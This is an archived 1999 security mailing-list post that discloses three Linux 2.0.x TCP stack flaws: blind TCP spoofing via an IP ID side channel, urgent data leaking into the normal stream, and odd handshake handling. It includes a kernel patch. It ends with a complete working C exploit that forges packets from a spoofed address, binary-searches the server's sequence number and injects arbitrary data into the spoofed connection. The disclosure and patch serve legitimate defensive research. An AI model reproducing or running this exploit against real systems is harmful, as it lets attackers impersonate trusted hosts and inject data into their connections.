Linux blind TCP spoofing, act II + others

From: Nergal (nergalat_private)
Date: Sat Jul 31 1999 - 16:10:06 PDT

  • Next message: McKay: "Re: [New ActiveX security problems in Windows 98 PCs]"

    Hello,
    Thanks to libnids development, some features/bugs in Linux kernel were found.
    I notified kernel mantainers in May, but they didn't seem interested.
    
    1. Blind TCP spoofing against 2.0.36/37
    	Let's label a Linux server as A, an attacker's host as B, the spoofed
    host as C. If the following conditions hold:
    
    a) C is down (disabled)
    b) A is idle; more precisely, during the attack A should not send any
       packets beside ones generated in response to the packets sent by B
    c) during the attack, no packet sent from B to A can be dropped by a router
    
    then an attacker can spoof a TCP stream connecting A and C.
    	As we see, these conditions are not trivial. However, b) and c) can
    hold if an attack is conducted during low network traffic period; and there
    are ways to fulfill a) :)
    	Firstly, let's have a look how Linux 2.0.x reacts to a non-typical
    TCP segment sent as a third packet of a three way handshake. In the example
    below we send to a Linux server (A) packets from B with source address set to
    C.
    Time        packets with forged source address    packets sent by the server
    0             flags=S,seq=X
    1                                              flags=SA,seq=Y,ack_seq=X+1
    2             flags=A,seq=X+1, ack_seq=Y-1000
    3                                                no packet generated !
    4             flags=A,seq=X+1,ack_seq=Y+1000
    5                                               flags=R,seq=Y+1000
                                                    a packet IS generated !
    6             flags=A,seq=X+1,ack_seq=Y+1
    7                                               flags=A,seq=Y+1,ack_seq=X+1
                                             socket enters "established" state
    8             flags=A,seq=X+1,ack_seq=Y+1000
    9                                                no packet sent !
    
    	So, when an attacker sends (as a third packet of tcp handshake) a
    packet with too small ack_seq, the server sends no packets (doesn't it
    violate RFC793 ?). When a packet with too big ack_seq is sent, the server
    sends a packet (with a reset flag).
    	Now let's recall another Linux feature. Many OSes (including Linux)
    assign to ID field of an outgoing IP datagram consecutive, increasing
    numbers (we forget about fragmentation here; irrelevant in this case). That
    enables anyone to determine the number of packets sent by host A: it's enough
    to ping it, note the value of ID field of received ICMP_REPLY packet, wait x
    seconds (or perform some other actions), then again ping host A. The
    difference between ID fields of received ICMP_REPLY packets is equal to (the
    number of packets sent by A in x second) +1. "Idle portscan" by antirez uses
    this technique.
    	Having sent an initial TCP segment with SYN flag, our attack will
    consist of a set of "probes". In each probe, we send a (forged) TCP packet
    with flags=A and (arbitrary) ack_seq=X, then we send an ICMP_ECHO request, and
    finally note the ID field of received ICMP_REPLY packet. If this ID field has
    incremented by 1 since the last time, only one packet were sent by server
    (ICMP_REPLY), so we must have chosen too small X (that is, ack_seq). If ID
    field has incremented by 2, two packes were sent (TCP with reset flag and
    ICMP_REPLY), so we must have chosen too big ack_seq. This way we can perform
    a binary search in space of ack_seq's, determining exact ack_seq after at most
    32 probes. Note that finding correct ack_seq can be verified by sending a
    probe with previously found too big ack_seq; if connection is in "established"
    state, no packet will be generated by server.
    	After we have found the Holy Graal of blind spoofers, the correct
    value of ack_seq, nothing will prevent us from completing 3whs and sending
    arbitrary data.
    	At the end of this post I enclosed an exploit; don't use it without
    the permission of the target host's admin. I tested it on 2.0.37, 36 and 30;
    probably all 2.0.x are affected. It requires libnet (which can be downloaded
    from www.packetfactory.net). I compiled it on Linux glibc system. The
    following simple patch (against 2.0.37) enforces sending a reset in response
    to a packet with too small ack_seq (of course, only when we are in SYN_RECV
    state). This patch also cures the bug described in point 3.
    
    -------------------------CUT HERE--------------------------------------
    --- linux-2.0.37/net/ipv4/tcp_input.c.orig	Fri Jul 23 17:25:14 1999
    +++ linux/net/ipv4/tcp_input.c	Fri Jul 23 17:29:43 1999
    @@ -2764,7 +2764,18 @@
     		kfree_skb(skb, FREE_READ);
     		return 0;
     	}
    -	
    +
    +        if (sk->state==TCP_SYN_RECV && th->ack && skb->ack_seq!=sk->sent_seq)
    +        {
    +                /*
    +                 *      Quick fix to detect too small ack_seq
    +                 *      in 3rd packet of 3ws and force a RST segment.
    +                 */
    +                 tcp_send_reset(daddr, saddr, th,sk->prot, opt, dev,0,255);
    +                 kfree_skb(skb, FREE_READ);
    +                 return 0;
    +        }
    +                                                                                                                                                                    	
     rfc_step6:
     	/*
     	 *	If the accepted buffer put us over our queue size we
    -------------------------CUT HERE--------------------------------------
    	
    2. A byte of urgent data can be received in normal data stream. Let's
    consider the following scenario:
    Time              Client app             Server app
    0                                     bind(...), listen(...), accept(...)
    1                 connect(...)
    2                                     accept(...) returns newsock
    3      send(sockfd,"AB",2,MSG_OOB)
    4      send(sockfd,"XY",2,MSG_OOB)
    5                                     n=read(newsock,buffer,1024)
    
    function read returns 3, buffer contains "ABX", though byte 'B' was marked
    as urgent. Verified with 2.0.37 and 2.2.9-ac1, probably all versions are
    vulnerable. Note that this behaviour can be exploited to bypass NIDS.
    
    3. Weird handling of 3rd stage of TCP handshake.
    
    Time        packets sent by a client        packets sent by a server
    0          flags=S,seq=X
    1                                         flags=SA,seq=Y,ack_seq=X+1
    2 flags=A,seq=X+1,ack_seq=Y-4,data="xyz"
    3                                        flags=A,seq=Y+1,ack_seq=X+4
                                               no data is returned to app
    4                                        flags=SA,seq=Y+1,ack_seq=X+4
    5 flags=A,seq=X+1,ack_seq=Y+1,data="1234567"
    6                                        flags=A,seq=Y+1,ack_seq=X+8
                                              app receives "4567"
    which is inconsitent. Either the packet sent in time 2 should be discarded and
    app should receive "1234567", or app should receive "xyz4567" .
    Verified on 2.0.36, 2.2.x behaves correctly (sends reset in time 3).
    Usually it is not a problem, but IDS developers can be worried.
    
    Save yourself,
    Nergal
    
    /* by Nergal */
    
    #include "libnet.h"
    #include <netinet/ip.h>
    #include <netdb.h>
    int sock, icmp_sock;
    int packid;
    unsigned int target, target_port, spoofed, spoofed_port;
    unsigned long myaddr;
    int
    get_id ()
    {
      char buf[200];
      char buf2[200];
      int n;
      unsigned long addr;
      build_icmp_echo (ICMP_ECHO, 0, getpid (), 1, 0, 0, buf + IP_H);
      build_ip (ICMP_ECHO_H, 0, packid++, 0, 64, IPPROTO_ICMP, myaddr,
    	    target, 0, 0, buf);
      do_checksum (buf, IPPROTO_ICMP, ICMP_ECHO_H);
      write_ip (sock, buf, IP_H + ICMP_ECHO_H);
      do
        {
          n = read (icmp_sock, buf2, 200);
          addr = ((struct iphdr *) buf2)->saddr;
        }
      while (addr != target);
      return ntohs (((struct iphdr *) buf2)->id);
    }
    
      static int first_try;
    
    
    int
    is_bigger ()
    {
      static unsigned short id = 0, tmp;
      usleep (10000);
      tmp = get_id ();
      if (tmp == id + 1)
        {
          id = tmp;
          return 0;
        }
      else if (tmp == id + 2)
        {
          id = tmp;
          return 1;
        }
      else
        {
          if (first_try)
    	{
    	  id = tmp;
    	  first_try = 0;
    	  return 0;
    	}
          fprintf (stderr, "Unexpected IP id, diff=%i\n", tmp - id);
          exit (1);
        }
    }
    
    void
    probe (unsigned int ack)
    {
      char buf[200];
      usleep (10000);
      build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, 0, 0, buf + IP_H);
      build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
    	    target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H);
      write_ip (sock, buf, IP_H + TCP_H);
    }
    
    void
    send_data (unsigned int ack, char *rant)
    {
      char * buf=alloca(200+strlen(rant));
      build_tcp (spoofed_port, target_port, 2, ack, 16, 32000, 0, rant, strlen (rant), buf + IP_H);
      build_ip (TCP_H + strlen (rant), 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
    	    target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H + strlen (rant));
      write_ip (sock, buf, IP_H + TCP_H + strlen (rant));
    }
    
    void
    send_syn ()
    {
      char buf[200];
      build_tcp (spoofed_port, target_port, 1, 0, 2, 32000, 0, 0, 0, buf + IP_H);
      build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
    	    target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H);
      write_ip (sock, buf, IP_H + TCP_H);
    }
    
    #define MESSAGE "Check out netstat on this host :)\n"
    
    
    void
    send_reset ()
    {
      char buf[200];
      build_tcp (spoofed_port, target_port, 4 + strlen (MESSAGE), 0, 4, 32000, 0, 0, 0, buf + IP_H);
      build_ip (TCP_H, 0, packid++, 0, 64, IPPROTO_TCP, spoofed,
    	    target, 0, 0, buf);
      do_checksum (buf, IPPROTO_TCP, TCP_H);
      write_ip (sock, buf, IP_H + TCP_H);
    }
    
    
    #define LOTS ((unsigned int)(1<<30))
    main (int argc, char **argv)
    {
      unsigned int seq_low = 0, seq_high = 0, seq_toohigh, seq_curr;
      int i;
      char myhost[100];
      struct hostent *ht;
      if (argc != 5)
        {
          printf ("usage:%s target_ip target_port spoofed_ip spofed_port\n", argv[0]);
          exit (1);
        }
      gethostname (myhost, 100);
      ht = gethostbyname (myhost);
      if (!ht)
        {
          printf ("Your system is screwed.\n");
          exit (1);
        }
      myaddr = *(unsigned long *) (ht->h_addr);
      target = inet_addr (argv[1]);
      target_port = atoi (argv[2]);
      spoofed = inet_addr (argv[3]);
      spoofed_port = atoi (argv[4]);
      sock = open_raw_sock (IPPROTO_RAW);
      icmp_sock = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP);
      if (sock <= 0 || icmp_sock <= 0)
        {
          perror ("raw sockets");
          exit (1);
        }
      packid = getpid () * 256;
      fprintf(stderr,"Checking for IP id increments\n");
    first_try=1;
      for (i = 0; i < 5; i++)
      {
        is_bigger ();
        sleep(1);
        fprintf(stderr,"#");
      }
      send_syn ();
      fprintf (stderr, "\nSyn sent, waiting 33 sec to get rid of resent SYN+ACK...");
      for (i = 0; i < 33; i++)
        {
          fprintf (stderr, "#");
          sleep (1);
        }
      fprintf (stderr, "\nack_seq accuracy:");
    first_try=1;
      is_bigger();
      probe (LOTS);
      if (is_bigger ())
        seq_high = LOTS;
      else
        seq_low = LOTS;
      probe (2 * LOTS);
      if (is_bigger ())
        seq_high = 2 * LOTS;
      else
        seq_low = 2 * LOTS;
      probe (3 * LOTS);
      if (is_bigger ())
        seq_high = 3 * LOTS;
      else
        seq_low = 3 * LOTS;
      seq_toohigh = seq_high;
      if (seq_high == 0 || seq_low == 0)
        {
          fprintf (stderr, "Non-listening port or not 2.0.x machine\n");
          send_reset ();
          exit (0);
        }
    
      do
        {
          fprintf (stderr, "%i ", (unsigned int) (seq_high - seq_low));
          if (seq_high > seq_low)
    	seq_curr = seq_high / 2 + seq_low / 2 + (seq_high % 2 + seq_low % 2) / 2;
          else
    	seq_curr = seq_low + (unsigned int) (1 << 31) - (seq_low - seq_high) / 2;
          probe (seq_curr);
          if (is_bigger ())
    	seq_high = seq_curr;
          else
    	seq_low = seq_curr;
          probe (seq_toohigh);
          if (!is_bigger ())
    	break;
    //      getchar();
        }
      while ((unsigned int) (seq_high - seq_low) > 1);
      fprintf (stderr, "\nack_seq=%u, sending data...\n", seq_curr);
      send_data (seq_curr, MESSAGE);
      fprintf (stderr, "Press any key to send reset.\n");
      getchar ();
      send_reset ();
    
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:54:42 PDT